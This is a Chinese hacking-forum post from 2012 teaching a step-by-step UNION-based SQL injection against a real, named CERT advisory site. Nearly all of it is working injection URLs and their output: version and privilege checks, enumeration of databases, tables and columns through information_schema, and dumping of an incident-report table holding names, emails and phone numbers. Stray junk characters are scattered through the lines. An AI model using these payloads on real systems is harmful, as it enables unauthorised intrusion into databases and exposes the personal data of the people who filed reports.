找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

.高级暴库方法讲解

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:57:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询  `8 c! ^3 k1 F  Y6 B  |
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
) A+ X0 X3 v+ r% C5 b( ghttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
# k% R1 B* x. j1 a! j9 C7 b3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
+ c" ]- l! {5 _& {9 J, K数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。+ K4 o0 L5 m( L$ w# O$ `
4.判断有没有写权限
! M5 I% p6 h  W* r" jhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
# \7 o0 }8 q* m1 j9 ~4 z% y; o% S+ Z没办法,手动猜表啦# {3 j% e, [. J2 t
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
0 o3 k" F  A3 f但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下4 G& M* l0 [5 E! ~( U( C
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
5 S& c2 M: ~: f2 g" h成功查出所有数据库,国外的黑客就是不一般。数据库如下:
  n3 n5 ~( |' }4 u; L) finformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
& I8 N  z8 R- J  U8 g6.爆表,爆的是twcert库+ A6 e' f' [0 L/ @2 F
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--! g# \7 w2 e0 G+ w, C0 Y$ l3 g
爆出如下表
( ^3 }1 @5 g# Gdownloadfile,irsys,newsdata,secrpt,secrpt_big5
; d) A- K7 k% F) Q, z+ S7.爆列名,这次爆的是irsys表3 U1 Q" E6 X9 H1 ]
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--- ]+ y2 G+ q: [0 ^# t/ Q& A
爆出如下列7 j! ~+ {0 X; I! p, c
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
% ~% ~, j+ |# D# P/ n8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
& y4 q" E2 h5 x( uhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--5 a& \$ d" |* {; `* e. x
返回是3,说明每个列里有3个地段3 [% H, d' V! Q1 ?
9.爆字段内容
+ ^3 s( H2 `+ B7 c$ \http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
0 m6 J7 h. E3 c9 W. G爆出name列的第一个字段的内容% ^$ e$ R* k; l5 n, L
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--; y, r2 `0 C  n% h, U+ Y" n* C& u
爆出name列的第二个字段的内容
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表